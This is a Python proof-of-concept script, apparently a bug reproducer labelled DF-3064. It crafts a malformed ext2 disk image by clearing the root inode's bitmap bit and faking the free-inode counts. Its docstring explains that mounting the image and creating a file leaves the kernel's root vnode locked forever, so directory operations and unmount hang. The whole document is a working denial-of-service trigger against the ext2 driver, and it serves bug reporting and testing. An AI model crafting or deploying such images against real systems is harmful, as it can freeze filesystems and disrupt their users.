DF-3064 / craft3064.py
#!/usr/bin/env python3 """Craft the DF-3064 trigger image. Plain rev1 ext2 image (no special features): the group-0 inode bitmap's bit for inode 2 (the ROOT, whose vnode is live from mount time) is cleared, bg_free_inodes_count = 1 and s_free_inodes_count = 1. On the first create, ext2_nodealloccg scans the bitmap, picks bit 1 (== inode 2) and returns ino 2. ext2_valloc then finds the live root vnode via ext2_ihashget() -- which returns it vget()'d (LK_EXCLUSIVE + vref held) -- prints "ext2_valloc: vp %p exists" and returns EEXIST WITHOUT dropping the lock/ref (sys/vfs/ext2fs/ext2_alloc.c:422-426). The root vnode stays locked forever: every later directory operation on the mount blocks uninterruptibly; umount blocks too. Usage: craft3064.py <out.img> """ import struct, subprocess, sys SB = 1024 def main(out): subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024', out, '4096'], check=True) f = open(out, 'r+b') f.seek(SB); sb = bytearray(f.read(1024)) assert struct.unpack_from('<H', sb, 0x38)[0] == 0xEF53 def p32(o, v): struct.pack_into('<I', sb, o, v) bsize = 1024 << struct.unpack_from('<I', sb, 0x18)[0] p32(0x10, 1) # s_free_inodes_count = 1 # group descriptor 0 (block 2 for bsize 1024) -- no features => no gd csum f.seek(2 * bsize); gd = bytearray(f.read(32)) ibmp = struct.unpack_from('<I', gd, 4)[0] struct.pack_into('<H', gd, 14, 1) # bg_free_inodes_count = 1 f.seek(2 * bsize); f.write(gd) # clear inode bit 1 (inode 2 = root) in the inode bitmap block f.seek(ibmp * bsize); bm = bytearray(f.read(bsize)) bm[0] &= ~(1 << 1) f.seek(ibmp * bsize); f.write(bm) f.seek(SB); f.write(sb) f.close() print(f"craft3064: inode bitmap blk={ibmp} byte0={bm[0]:#04x} " f"(bit1 cleared => ino 2 looks free)") print(f"OK wrote {out}") if __name__ == '__main__': main(sys.argv[1]) |